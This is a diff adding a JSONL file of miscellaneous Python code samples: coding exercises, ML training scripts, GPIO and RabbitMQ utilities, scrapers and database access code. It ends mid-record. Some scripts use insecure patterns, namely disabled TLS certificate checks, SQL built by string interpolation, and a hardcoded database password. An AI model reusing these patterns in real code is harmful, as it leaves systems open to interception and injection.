diff --git "a/4253.jsonl" "b/4253.jsonl"
new file mode 100644--- /dev/null
+++ "b/4253.jsonl"
@@ -0,0 +1,621 @@
+{"seq_id":"193655161","text":"ctr = 0\nwhile(True):\n    items = list(input())\n    for i in range(len(items)):\n        items[i] = items[i].upper()\n    items = \"\".join(items).split(\" \")\n    if(items[0] == \"EOI\"):\n        break\n    for i in range(len(items)):\n        if(items[i] == \"NEMO\" or items[i] == \"NEMO,\"):\n            ctr += 1\n    if(ctr > 0):\n        print(\"Found\")\n    else:\n        print(\"Missing\")\n    ctr = 0 ","sub_path":"OneDrive/바탕 화면/알고리즘/10000~11000/10173.py","file_name":"10173.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"226549119","text":"#!/usr/bin/pyton\n# -*- coding: utf8 -*-\n\nx = 4\ndef var_scope_ex1():\n    x = 5 # local variable shadow\n    print(\"Local x :{0}\".format(x))\nvar_scope_ex1()\nprint(\"x : {0}\".format(x))\n\nz = 1\ndef var_scope_ex2():\n    # not local variable z or y exist search global\n    print(\"Local z not exit serch out scop z :{0}\".format(z))\n    print(\"Local z not exit serch out scop y :{0}\".format(y))\ny = 2\nvar_scope_ex2()\n\n\ndef var_scope_ex3():\n    print(w) # w not exist execute failed\n    \nvar_scope_ex3()","sub_path":"opencv/2_var_scope_issue.py","file_name":"2_var_scope_issue.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"134082467","text":"import matplotlib.pyplot as plt\nfrom keras.datasets import mnist\nfrom keras.utils import np_utils\nimport numpy as np\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D\nimport pandas as pd\n\nclass CNN:\n    def __init__(self):\n        np.random.seed(10)\n        (self.x_Train, self.y_Train), (self.x_Test, self.y_Test) = mnist.load_data()\n        #print('train data = ', len(x_train_image))\n        #print('test data = ', len(x_test_image))\n        self.model = Sequential()\n        \n    def run(self):\n        # plot_images_labels_prediction(x_test_image, y_test_label, [], 0, 10)\n        # print('x_train_image: ', x_train_image.shape)\n        # print('y_train_label: ', y_train_label.shape)\n        x_Train4D = self.x_Train.reshape(self.x_Train.shape[0], 28, 28, 1).astype('float32')\n        x_Test4D = self.x_Test.reshape(self.x_Test.shape[0], 28, 28, 1).astype('float32')\n        # print('x_train: ', x_Train.shape)\n        # print('x_test: ', x_Test.shape)\n        # print(x_train_image[0])\n        x_Train4D_normalize = x_Train4D / 255\n        x_Test4D_normalize = x_Test4D / 255\n        # print( y_train_label[:5] )\n        y_TrainOneHot = np_utils.to_categorical(self.y_Train)\n        y_TestOneHot = np_utils.to_categorical(self.y_Test)\n        # print(y_Train_OneHot[:5])\n        # plot_image(x_train_image[0])\n        # print(y_train_label[0])\n        self.model.add(Conv2D(\n            filters = 16,\n            kernel_size = (5,5),\n            padding = 'same',\n            input_shape = (28,28,1),\n            activation = 'relu'\n            ))\n        self.model.add(MaxPooling2D(pool_size=(2,2)))\n        self.model.add(Conv2D(\n            filters = 36,\n            kernel_size = (5,5),\n            padding = 'same',\n            activation = 'relu'\n            ))\n        self.model.add(MaxPooling2D(pool_size=(2,2)))\n        self.model.add(Dropout(0.25))\n        self.model.add(Flatten())\n        self.model.add(Dense(128, activation='relu'))\n        self.model.add(Dropout(0.5))\n        self.model.add(Dense(10, activation='softmax'))\n        print(self.model.summary())\n        self.model.compile(\n            loss = 'categorical_crossentropy',\n            optimizer = 'adam',\n            metrics = ['accuracy'])\n        train_history = self.model.fit(\n            x = x_Train4D_normalize,\n            y = y_TrainOneHot,\n            validation_split = 0.2,\n            epochs = 10,\n            batch_size = 2300,\n            verbose = 2)\n        self.show_train_history(train_history, 'acc', 'val_acc')\n        # show_train_history(train_history, 'loss', 'val_loss')\n        scores = self.model.evaluate(x_Test4D_normalize, y_TestOneHot)\n        print()\n        print('accuracy = ', scores[1])\n        prediction = self.model.predict_classes(x_Test4D_normalize)\n        print()\n        print()\n        self.plot_images_labels_prediction(self.x_Test, self.y_Test, prediction, idx = 340)\n        mtx = pd.crosstab(self.y_Test, \n            prediction,\n            colnames = ['predict'],\n            rownames = ['label'])\n        print(mtx)\n        print()\n        df = pd.DataFrame({'label': self.y_Test, 'predict': prediction})\n        print( df[:2] )\n\n    def plot_image(self, image):\n        fig = plt.gcf()\n        fig.set_size_inches(2,2)\n        plt.imshow(image, cmap='binary')\n        plt.show()\n\n    def plot_images_labels_prediction(self, images, labels, prediction, idx, num=10):\n        fig = plt.gcf()\n        fig.set_size_inches(12,14)\n        if num > 25: num=25\n        for i in range(0,num):\n            ax = plt.subplot(5, 5, 1+i)\n            ax.imshow(images[idx], cmap='binary')\n            \n            title = 'lable=' + str(labels[idx])\n            if len(prediction) > 0:\n                title += ',predict=' + str(prediction[idx])\n            \n            ax.set_title(title, fontsize=10)\n            ax.set_xticks([])\n            ax.set_yticks([])\n            idx += 1\n        plt.show()\n\n    def show_train_history(self, train_history, train, validation):\n        plt.plot(train_history.history[train])\n        plt.plot(train_history.history[validation])\n        plt.title('Train History')\n        plt.ylabel(train)\n        plt.xlabel('epoch')\n        plt.legend(['train', 'validation'], loc = 'upper left')\n        plt.show()","sub_path":"models/CNN.py","file_name":"CNN.py","file_ext":"py","file_size_in_byte":4324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"581016571","text":"import viz, random\n\nviz.go()\n\n\nmale=viz.add('male.cfg')\nmale.translate(0,0,0.5)\nmale.rotate(0,1,0,180)\nface = male.face('leland_head.vzf')\n#face.setMorph(0,1)\n#face.setMorph(0,0)\n\nviz.MainWindow.clearcolor(viz.WHITE,0,0)","sub_path":"assets/avatars/Old Leland/leland test.py","file_name":"leland test.py","file_ext":"py","file_size_in_byte":220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"379488308","text":"def rk4( f, x0, t ):\r\n   n = len( t )\r\n   x = np.array( [ x0 ] * n )\r\n   for i in xrange( n -1 ): \r\n       h = t[i+1] - t[i]\r\n       k1 = h*f( t[i], x[i]) \r\n       k2 = h*f( t[i] + 0.5*h, x[i] + 0.5*k1)\r\n       k3 = h*f( t[i] + 0.5*h, x[i] + 0.5 * k2)\r\n       k4 = h*f( t[i] + h, x[i] + k3)\r\n       x[i+1] = x[i] + (1./6.)*k1 + (1./3.)*k2 + (1./3.)*k3 + (1./6.)*k4\r\n\r\n   return x\r\n\r\n\r\nimport numpy as np\r\n   \r\ndef f(t, x):\r\n   return 1./(2*(x-1))\r\n   \r\nx0 = 1 + np.sqrt(0.001)\r\nt = np.linspace(0,4,12289)\r\nx_rk4 = rk4(f, x0, t)\r\n\r\ndef ForwardEuler(f, x0, t):\r\n   n = len( t )\r\n   x = np.array( [ x0 ] * n )\r\n   for i in xrange( n -1 ):\r\n      h = t[i+1] - t[i]\r\n      x[i+1] = x[i] + h*f(t[i],x[i])\r\n        \r\n   return x\r\n\r\ndef f(t, x):\r\n      return 1./(2*(x-1))\r\n\r\nx0 = 1 + np.sqrt(0.001)\r\nt = np.linspace(0,4,12289)\r\nx_ForwardEuler = ForwardEuler(f, x0, t)\r\ndef f(t):\r\n   return 1 + np.sqrt(t + 0.001)\r\ny = f(t) \r\n\r\n\r\nimport matplotlib.pyplot as plt\r\nplt.plot(t,x_rk4, 'r-')\r\nplt.hold('on')\r\nplt.plot(t,x_ForwardEuler,'b-')\r\nplt.hold('on')\r\nplt.plot(t, y, 'k-') \r\nplt.legend(['4rth order Runge-Kutta method','Forward Euler scheme','y(x)'])\r\nplt.xlabel('x')\r\nplt.ylabel('y(x)')\r\nplt.title('Comparing ODE Methods')\r\nplt.savefig('tmp4.pdf')\r\nplt.show()\r\n\r\n","sub_path":"innlevering/xy_ODE_FE_vs_RK4.py","file_name":"xy_ODE_FE_vs_RK4.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"270031738","text":"#!/usr/bin/env python3\n\n# Documentation: https://sourceforge.net/p/raspberry-gpio-python/wiki/Inputs/\n\n\n\"\"\"\nfacendo diversi esperimenti non mi sto trovando affatto bene con la parte del modulo GPIO\nche aggancia le callback ai pulsanti.\nnonostante io stia usando i pullup interni e anche un condensatore esterno da 100nF comunque, stressando \nmolto il pulsante (premendolo e rilasciandolo a ripetizione) ci sono conportamenti strani per cui non detecta \nalcuni fronti di salita o di discesa.\n\nIn un futuro esperimento mi proverò ad usare un sistema più rudimentale ma magari più efficacie che legga lo stato del bottone di continuo\ne tenga eventualmente traccia di un timer per fare un debouncing automatico.\nun po' come la corrispondente classe di Arduino\n\"\"\"\n\n\nimport threading, readchar, time, sys\nimport RPi.GPIO as GPIO\n\ngpios = [40, 38, 36]\nstatus = [False, False, False]\n\ndef myOnPressCallback(channel):\n\tif GPIO.input(channel) == GPIO.LOW:\n\t\tprint(\"channel {} low\".format(channel) )\n\telif GPIO.input(channel) == GPIO.HIGH:\n\t\tprint(\"channel {} high\".format(channel) )\n\t\n\n\ndef main():\n\tGPIO.setmode( GPIO.BOARD )\n\tfor channel in gpios:\n\t\tprint( channel )\n\t\tGPIO.setup(channel, GPIO.IN, pull_up_down=GPIO.PUD_UP)\n\t\tGPIO.add_event_detect(channel, GPIO.BOTH, callback=myOnPressCallback, bouncetime=200)\n\t\t#GPIO.add_event_detect(channel, GPIO.RISING, callback=myOnReleaseCallback, bouncetime=5000)\n\t\t\n\twhile True:\n\t\tprint(\"gianni\")\n\t\ttime.sleep(1)\n\t\t\n\tGPIO.cleanup()\n\t\t\n\t\"\"\"\t\n\tmyThread = threading.Thread( target=checkInput )\n\tmyThread.start()\n\twhile True:\n\t\tif sharedVar:\n\t\t\tprint(\"Trying to quit\")\n\t\t\tquit()\n\t\telse:\n\t\t\tprint( \"main thread\" )\n\t\t\ttime.sleep(1)\n\t\"\"\"\n\t\n\t\nif __name__ == \"__main__\":\n\tsys.exit( main() )\n","sub_path":"_wip/_old/GPIO_inputs/main_old.py","file_name":"main_old.py","file_ext":"py","file_size_in_byte":1721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"427833044","text":"\"\"\"\nModule for sending and receiving messages from RabbitMQ.\n\"\"\"\nfrom kombu import Connection, Exchange, Queue\nfrom kombu.utils import json\n\nfrom eiffelactory import config\n\nCFG = config.Config().rabbitmq\n\n\nclass RabbitMQConnection:\n    \"\"\"\n    Class handling receiving and publishing message on the RabbitMQ messages bus\n    \"\"\"\n    def __init__(self, message_callback):\n        self.message_callback = message_callback\n\n        self.exchange = Exchange(CFG.exchange)\n        self.connection = Connection(transport='amqp',\n                                     hostname=CFG.host,\n                                     port=CFG.port,\n                                     userid=CFG.username,\n                                     password=CFG.password,\n                                     virtual_host=CFG.vhost,\n                                     ssl=True)\n\n        self.connection.connect()\n        self.producer = self.connection.Producer(serializer='json',\n                                                 auto_declare=True)\n        self.queue = Queue(channel=self.connection.channel(),\n                           name=CFG.queue,\n                           routing_key=CFG.routing_key)\n        self.queue.declare()\n        self.queue.bind_to(exchange=Exchange(CFG.exchange),\n                           routing_key=CFG.routing_key)\n        self.consumer = self.connection.\\\n            Consumer(\n                    queues=self.queue,\n                    callbacks=[self._handle_message],\n                    prefetch_count=\n                    CFG.prefetch_count)\n        self.consuming = True\n\n    def _handle_message(self, body, message):\n        \"\"\"\n        Callback called by consumer.\n        :param body:\n        :param message:\n        :return:\n        \"\"\"\n        # body is sometimes dict and sometimes str\n        # make sure it's a json dict before passing it on\n        json_body = dict()\n        if isinstance(body, dict):\n            json_body = body\n        elif isinstance(body, str):\n            json_body = json.loads(body)\n\n        self.message_callback(json_body)\n        message.ack()\n\n    def publish_message(self, message):\n        \"\"\"\n        Publishes passed message on the RabbitMQ message bus\n        :param message:\n        :return:\n        \"\"\"\n        self.producer.publish(message,\n                              retry=True,\n                              retry_policy={\n                                  'interval_start': 0,\n                                  'interval_step': 2,\n                                  'interval_max': 30,\n                                  'max_retries': 30,\n                              },\n                              exchange=self.exchange,\n                              routing_key=CFG.routing_key)\n\n    def read_messages(self):\n        \"\"\"\n        Method reading messages from the queue in a while-true loop.\n        Callback is defined in __init__\n        :return:\n        \"\"\"\n        with self.consumer:\n            while self.consuming:\n                self.connection.drain_events()\n\n    def close_connection(self):\n        \"\"\"\n        Closes the channels/connections.\n        :return:\n        \"\"\"\n        # for now called when you press Ctrl-C\n        self.consuming = False\n        self.producer.release()\n        self.connection.release()\n","sub_path":"eiffelactory/rabbitmq.py","file_name":"rabbitmq.py","file_ext":"py","file_size_in_byte":3312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"66719664","text":"#!/usr/bin/env python3\n\nimport logging\nimport json\nimport urllib.request\nfrom socket import timeout\nimport mongo_db_helper\nimport ssl\nimport re\nimport requests\nfrom io import BytesIO\nfrom PIL import Image\nfrom pymongo import MongoClient\nfrom bs4 import BeautifulSoup\nimport sys\nfrom urllib.error import HTTPError\nfrom urllib.error import URLError\nfrom http.client import IncompleteRead\n\n# -*- coding: utf-8 -*-\n\nlogging.basicConfig(filename='fetch_data.log',level=logging.DEBUG)\n\ndef fetch_top_data():\n    topStoriesTopData=mongo_db_helper.db.topStories.find_one()\n    return topStoriesTopData\n\ndef fetch_data(item):\n    text=fetch_text(item)\n    img=fetch_img(item)\n    if text == None :\n        savetoTroubles(item)\n        return None\n    if img == None :\n        savetoTroubles(item)\n        return None\n    new_data={'text':text,'img':img}\n    item.update(new_data)\n    \n    return item\n\ndef fetch_text(item):\n    connection=getConnection(item)\n    if connection == None :\n        return None\n    contentConnection,connectionEncoding=readContent(connection)\n    if connectionEncoding == 'application/pdf':\n        text=\"Click on the link to read the news story.\"\n    else :\n        try:\n            content = contentConnection.decode('utf-8')\n        except Exception as e:\n            logging.error(\"decode text error:\", str(e))\n            return None\n        soup = BeautifulSoup(content, \"html.parser\")\n        patternText=mongo_db_helper.patternText\n        contentText = re.findall(patternText,content)\n        text=\"\"\n        if not contentText:\n            text=\"Click on the link to read the news story.\"\n        else :\n            paragraph = soup.findAll('p')\n            for i in range(len(paragraph)):\n                text=text + paragraph[i].get_text()\n    return text\n\ndef getUrlImage(siteUrl,urlImages):\n    size = 0\n    count = 0\n    if urlImages == None:\n        urlImages=\"images/notFound.png\"\n    elif not urlImages:\n        urlImages=\"images/notFound.png\"\n    else :\n        if urlImages[0]!='h':\n            urlImages=siteUrl + urlImages        \n    try:\n        response = requests.get(urlImages, timeout=10)\n        img = Image.open(BytesIO(response.content))\n    except (HTTPError, URLError) as error:\n        logging.error('Data not retrieved because %s\\nURL: %s', error, siteUrl)\n        return None\n    except timeout:\n        logging.error('image socket timed out - URL %s', siteUrl)\n        return None    \n    except Exception as e:\n        logging.error(e)\n        return None\n    count=count+1\n    if img.width > size:\n        size=img.width\n        urls=urlImages\n    return urls\n    \ndef fetch_img(item):\n    urlImage=[]\n    if 'url' in item:\n        siteUrl = item['url']\n    else :    \n        siteUrl = 'https://news.ycombinator.com/item?id=' + str(item['id'])\n    connection=getConnection(item)\n    if connection == None :\n        return None\n    contentConnection,connectionEncoding=readContent(connection)\n    if connectionEncoding == 'application/pdf':\n        img=\"Click on the link to read the news story.\"\n    else :\n        try:\n            content = contentConnection.decode('utf-8')\n        except Exception as e:\n            logging.error(e)\n            return None\n        soup = BeautifulSoup(content, \"html.parser\")\n        patternImg=mongo_db_helper.patternImg\n        contentImg = re.findall(patternImg,content)\n        img=\"\"\n        if not contentImg:\n            img=\"images/notFound.png\"\n        else :\n            images = soup.findAll('img')\n            for i in range(len(images)):\n                if images[i].get('src') != None:\n                    urlImage.append(images[i].get('src'))\n            for j in range(len(urlImage)):\n                img = getUrlImage(siteUrl,urlImage[j])\n    return img\n\ndef save_data():\n    topStoriesTopData=fetch_top_data()\n    topStoriesJsonData=fetch_data(topStoriesTopData)\n    if topStoriesJsonData == None :\n        return None\n    mongo_db_helper.db.hackerNewsData.insert(topStoriesJsonData)\n    mongo_db_helper.db.topStories.remove({'id':topStoriesJsonData['id']})\n\ndef save_data_all():\n    if mongo_db_helper.db.topStories.count() == 0:\n        print(\"Bitti\")\n    else:        \n        save_data()\n        save_data_all()\n\ndef getConnection(item):\n    headers= mongo_db_helper.headers\n    url = mongo_db_helper.url\n    if 'url' in item:\n        urlcontent=item['url']\n    else:\n        urlcontent='https://news.ycombinator.com/item?id=' + str(item['id'])\n    request=url.Request(urlcontent,None,headers)\n    context = ssl._create_unverified_context()\n    try :        \n        connection  = url.urlopen(request, timeout=10, context=context)\n    except (HTTPError, URLError) as error:\n        logging.error('Data not retrieved because %s\\nURL: %s', error, urlcontent)\n        pass\n    except timeout:\n        logging.error('socket timed out - URL %s', urlcontent)\n        pass\n    except IncompleteRead:\n        pass\n    else :\n        print('Access successful.')\n        return connection\n\ndef readContent(connection):\n    if connection == None :\n        pass\n    else :\n        content = connection.read()\n        http_message=connection.info()\n        connection_encoding = http_message.get_content_type() \n        return content,connection_encoding\n    \ndef savetoTroubles(item) :\n    mongo_db_helper.db.troubleMaker.insert(item)\n    mongo_db_helper.db.topStories.remove({'id':item['id']})\n   \nmongo_db_helper.mongoControl()\nsave_data_all()\n","sub_path":"fetch_data.py","file_name":"fetch_data.py","file_ext":"py","file_size_in_byte":5453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"10519303","text":"import db_conn # db_conn.py 불러오기\nimport pymysql\nfrom time import time\nfrom datetime import datetime\n\n# 유저의 계측기 정보들을 가져옵니다.\ndef get_device_list():\n    conn = db_conn.get_connection()\n    sql ='select * from device inner join building_type on device.device_building_type = building_type.building_type where device_user_id=1'\n    cursor = conn.cursor(pymysql.cursors.DictCursor)\n    cursor.execute(sql)\n    rows = cursor.fetchall()\n    conn.close()\n    return rows\n\n# 유저의 계측기 정보들을 가져옵니다.\ndef get_data():\n    conn = db_conn.get_connection()\n    sql ='SELECT CAST(UNIX_TIMESTAMP(Create_time)/3600 AS SIGNED) ,FROM_UNIXTIME(CAST(UNIX_TIMESTAMP(Create_time)/3600 AS SIGNED)*3600) AS tDate ,COUNT(*) cnt, AVG(Longitude), AVG(Latitude), AVG(Height), device_id FROM rawdata_ulsan WHERE Create_time BETWEEN \"2021-04-29 15:15:00\" AND \"2021-04-30 23:59:59\" AND device_id=2214 GROUP BY 1'\n    cursor = conn.cursor(pymysql.cursors.DictCursor)\n    cursor.execute(sql)\n    rows = cursor.fetchall()\n    conn.close()\n    print(rows)\n    return rows\n# 1.개별 계측기에 대한 기본정보\ndef all_device_info():\n    conn = db_conn.get_connection()\n    sql ='select device.device_location,user.user_phone_number,device.device_latitude,device.device_longitude,device.device_height from device inner join user on user.user_id= device.device_user_id '\n    cursor = conn.cursor(pymysql.cursors.DictCursor)\n    cursor.execute(sql)\n    rows = cursor.fetchall()\n    conn.close()\n    return rows\n# 2.해당 건물에 위치한 또다른 계측기를 볼 수 있도록 \ndef each_device_building(login_user_id,building_name):\n    conn = db_conn.get_connection()\n    sql ='select distinct(device_id) from device LEFT JOIN building ON device.building_name=building.building_name where device.device_user_id=%s and device.building_name = %s'\n    cursor = conn.cursor(pymysql.cursors.DictCursor)\n    values = (login_user_id,building_name)\n    cursor.execute(sql,values)\n    infos = cursor.fetchall()\n    conn.close()\n    return infos\n\n\ndef each_device_info(device_id):\n    conn = db_conn.get_connection()\n    sql ='select device.device_criteria_latitude, device.device_criteria_height, device.device_criteria_longitude,  device.device_criteria_latitude_min, device.device_criteria_longitude_min, device.device_criteria_height_min, device.device_location,user.user_phone_number,device.device_latitude,device.device_longitude,device.device_height from device inner join user on user.user_id= device.device_user_id where device.device_id=%s'\n    cursor = conn.cursor(pymysql.cursors.DictCursor)\n    cursor.execute(sql,device_id)\n    rows = cursor.fetchall()\n    conn.close()\n    return rows\n\n# 모든 사용자의 총 계측기 개수\ndef get_all_device():\n    conn = db_conn.get_connection()\n    sql ='select count(distinct(device_id)) from device'\n    cursor = conn.cursor(pymysql.cursors.DictCursor)\n    cursor.execute(sql)\n    counts = cursor.fetchall()\n    conn.close()\n    return counts\n# 로그인 후 나의 계측기 개수// 예외처리필요??\ndef get_my_device(login_user_id):\n    conn = db_conn.get_connection()\n    sql ='select count(distinct(device_id)) from device INNER JOIN user ON device_user_id = %s'\n    cursor = conn.cursor(pymysql.cursors.DictCursor)\n    cursor.execute(sql,login_user_id)\n    counts = cursor.fetchall()\n    conn.close()\n    return counts\n\n# 계측기 등록하기 (/register) //  구조물이름, 구조물종류,구조물 주소, 계측기 번호(device_id), 계측기 위치\ndef index_find_device():\n    conn = db_conn.get_connection()\n    sql_select = 'select MAX(id) from device'\n    cursor = conn.cursor(pymysql.cursors.DictCursor)\n    cursor.execute(sql_select)\n    id_idx = cursor.fetchone()\n    conn.close()\n    return id_idx\ndef index_find_building():\n    conn = db_conn.get_connection()\n    sql_select = 'select MAX(id) from building'\n    cursor = conn.cursor(pymysql.cursors.DictCursor)\n    cursor.execute(sql_select)\n    id_idx = cursor.fetchone()\n    conn.close()\n    return id_idx\n\ndef register_my_device(login_user_id,b_name,b_type,b_addr,d_id,d_name,d_loc):\n    lat,long,height = d_loc.split('/')\n    t_date = datetime.today().date()\n    print(t_date)\n    conn = db_conn.get_connection()\n    max_id = index_find_device()['MAX(id)'] +1\n    sql_insert ='insert into device values (%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)'\n    values = (max_id,d_id,d_name,login_user_id,t_date,pymysql.NULL,100,100,100,b_type,b_addr,b_name,float(lat),float(long),float(height),0,0,0,'정상')\n    cursor = conn.cursor(pymysql.cursors.DictCursor)\n    cursor.execute(sql_insert,values)\n    conn.commit()\n    conn.close()\n\ndef register_device_to_building(login_user_id,b_name,b_type,b_addr):\n    conn = db_conn.get_connection()\n    max_id = index_find_building()['MAX(id)'] +1\n    sql_find = 'select building_type_name from building_type where building_type = %s'\n    cursor = conn.cursor(pymysql.cursors.DictCursor)\n    cursor.execute(sql_find,b_type)\n    b_type_name = cursor.fetchone()\n    sql_insert ='insert into building values (%s,%s,%s,%s,%s,%s,%s)'\n    values = (max_id,b_addr,b_type,b_type_name['building_type_name'],b_name,login_user_id,'정상')\n    cursor.execute(sql_insert,values)\n    conn.commit()\n    conn.close()\n        \n\n\n","sub_path":"flask_code/device_data_dao.py","file_name":"device_data_dao.py","file_ext":"py","file_size_in_byte":5329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"38413509","text":"from re import split\nfrom sys import stderr\nfrom bs4 import BeautifulSoup as bs\nimport requests\nimport psycopg2\n\n\nconnection = psycopg2.connect(\n    dbname = 'postgres',\n    user = 'postgres',\n    password = 'liazat123',\n    host = 'localhost'\n)\ncursor = connection.cursor()\n\nitc_page = requests.get(\n    url='https://www.itc.kg/'\n)\ndata = bs(itc_page.text, 'html.parser')\n\nsection = data.find('section', attrs={\"id\": \"service\"})\nall_col_md_4 = section.find_all('div', class_=\"col-md-4\")\n\n\nfor col in all_col_md_4:\n    name = col.h2.get_text()\n\n    definition = col.p.text.strip().split('\\n')\n\n    if definition[-1] == 'Подробнее':\n        definition.pop(-1)\n\n    description = ' '.join([i.strip() for i in definition])\n\n    # print(description)\n\n\n    a = f'''INSERT INTO parser (name, text)\n        VALUES (\\'{name}\\', \\'{description}\\');'''\n\n    # cursor.execute(a)\n    # connection.commit()\n    \n\n\ncreate = '''CREATE TABLE parser(\n    user_id SERIAL PRIMARY KEY,\n    name VARCHAR(250) NOT NULL,\n    text VARCHAR(250) NOT NULL\n);'''\n# cursor.execute(create)\n# cursor.connection.commit()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"344312170","text":"# 三方包\nimport os\nimport sys\nimport json\nimport random\nimport subprocess\nimport numpy as np\nimport _pickle as cPickle  # python3之后，cPickle包改名成了_pickle\nimport logging\nimport argparse\nimport torch\n\n# 本地包\nimport src.shared.eval_utils\nimport src.all_models.model_utils\nimport src.shared.classes as classes\n\nprint(os.getcwd())\n# print(\"环境变量：\", os.environ[\"PATH\"], \"\\n\")\n\n'''\n# 把\"工作路径/src\"下的文件都加入搜索路径\nfor pack in os.listdir(\"src\"):  # 遍历\"工作路径/src\"下的文件\n    # 把每个文件加入到包的搜索路径\n    sys.path.append(os.path.join(\"src\", pack))\n'''\n# 把项目根路径添加到模块搜索路径中\nprojectRootPath = os.path.abspath(os.path.join(__file__, \"..\", \"..\"))\nsys.path.append(projectRootPath)\n\n'''\n因为现有数据在序列化的时候是用的classes.Topic等名字,而现在是src.shared.classes.Topic等\n名字，不能对应，你反序列化之后识别不了。所以权宜之计是先按原来的方法import一遍\n'''\nsys.path.append(os.path.abspath(os.path.join(projectRootPath, \"shared\")))\nfrom src.shared.classes import *\n\n# 配置参数：命令行参数解器\nparser = argparse.ArgumentParser(description='Testing the regressors')\nparser.add_argument('--config_path', type=str, help=' The path configuration json file')\nparser.add_argument('--out_dir', type=str, help=' The directory to the output folder')\n# 进行参数解析，结果存入配置参数列表\nargs = parser.parse_args()\n\n# 根据out_dir参数，创建输出路径（如果不存在）\nif not os.path.exists(args.out_dir):\n    os.makedirs(args.out_dir)\n\n# 根据config_path参数，读取配置文件(test_config.json)\nwith open(args.config_path, 'r') as js_file:\n    config_dict = json.load(js_file)\n    print(config_dict)\n\n# 把当前配置文件序列化为json保存在输出路径(test_config.json)\nwith open(os.path.join(args.out_dir,'test_config.json'), \"w\") as js_file:\n    json.dump(config_dict, js_file, indent=4, sort_keys=True)\n\n# 配置参数：是否使用cuda\nif config_dict[\"gpu_num\"] != -1:  # gpu_num为-1表示不想使用cuda\n    # 新增环境变量\n    os.environ[\"CUDA_VISIBLE_DEVICES\"]= str(config_dict[\"gpu_num\"])\n    # 新增配置参数\n    use_cuda = True\nelse:  # gpu_num为其他表示想使用cuda\n    use_cuda = False\n# 只有当配置文件中要求使用cuda，且cuda确实可用时，才使用cuda\nuse_cuda = use_cuda and torch.cuda.is_available()\nif use_cuda:\n    print('使用cuda，cuda版本：')\n    os.system(\"nvcc --version\")\nelse:\n    print(\"不使用cuda\")\n\n# 配置random\nrandom.seed(config_dict[\"random_seed\"])\n\n# 配置numpy\nnp.random.seed(config_dict[\"random_seed\"])\n\n# 配置pytorch\ntorch.manual_seed(config_dict[\"seed\"])\nif use_cuda:\n    torch.cuda.manual_seed(config_dict[\"seed\"])\n    torch.backends.cudnn.deterministic = True\n    torch.backends.cudnn.benchmark = False\n\n# 配置logger\nlogging.basicConfig(\n    # 使用fileHandler,日志文件在输出路径中(test_log.txt)\n    filename=os.path.join(args.out_dir, \"test_log.txt\"),\n    filemode=\"w\",\n    # 配置日志级别\n    level=logging.INFO\n)\n\n\ndef read_conll_f1(filename):\n    '''\n    This function reads the results of the CoNLL scorer , extracts the F1 measures of the MUS,\n    B-cubed and the CEAF-e and calculates CoNLL F1 score.\n    :param filename: a file stores the scorer's results.\n    :return: the CoNLL F1\n    '''\n    f1_list = []\n    with open(filename, \"r\") as ins:\n        for line in ins:\n            new_line = line.strip()\n            if new_line.find('F1:') != -1:\n                f1_list.append(float(new_line.split(': ')[-1][:-1]))\n\n    muc_f1 = f1_list[1]\n    bcued_f1 = f1_list[3]\n    ceafe_f1 = f1_list[7]\n\n    return (muc_f1 + bcued_f1 + ceafe_f1)/float(3)\n\n\ndef run_conll_scorer():\n    if config_dict[\"test_use_gold_mentions\"]:\n        event_response_filename = os.path.join(args.out_dir, 'CD_test_event_mention_based.response_conll')\n        entity_response_filename = os.path.join(args.out_dir, 'CD_test_entity_mention_based.response_conll')\n    else:\n        event_response_filename = os.path.join(args.out_dir, 'CD_test_event_span_based.response_conll')\n        entity_response_filename = os.path.join(args.out_dir, 'CD_test_entity_span_based.response_conll')\n\n    event_conll_file = os.path.join(args.out_dir,'event_scorer_cd_out.txt')\n    entity_conll_file = os.path.join(args.out_dir,'entity_scorer_cd_out.txt')\n\n    event_scorer_command = ('perl scorer/scorer.pl all {} {} none > {} \\n'.format\n            (config_dict[\"event_gold_file_path\"], event_response_filename, event_conll_file))\n\n    entity_scorer_command = ('perl scorer/scorer.pl all {} {} none > {} \\n'.format\n            (config_dict[\"entity_gold_file_path\"], entity_response_filename, entity_conll_file))\n\n    processes = []\n    print('Run scorer command for cross-document event coreference')\n    processes.append(subprocess.Popen(event_scorer_command, shell=True))\n\n    print('Run scorer command for cross-document entity coreference')\n    processes.append(subprocess.Popen(entity_scorer_command, shell=True))\n\n    while processes:\n        status = processes[0].poll()\n        if status is not None:\n            processes.pop(0)\n\n    print ('Running scorers has been done.')\n    print ('Save results...')\n\n    scores_file = open(os.path.join(args.out_dir, 'conll_f1_scores.txt'), 'w')\n\n    event_f1 = read_conll_f1(event_conll_file)\n    entity_f1 = read_conll_f1(entity_conll_file)\n    scores_file.write('Event CoNLL F1: {}\\n'.format(event_f1))\n    scores_file.write('Entity CoNLL F1: {}\\n'.format(entity_f1))\n\n    scores_file.close()\n\n\ndef test_model(test_set: src.shared.classes.Corpus):\n    r\"\"\"\n    Loads trained event and entity models and test them on the test set\n\n    :param test_set: 测试数据\n    \"\"\"\n    # 加载设备\n    if use_cuda:\n        cudan = \"cuda:\"+str(config_dict[\"gpu_num\"])\n        device = 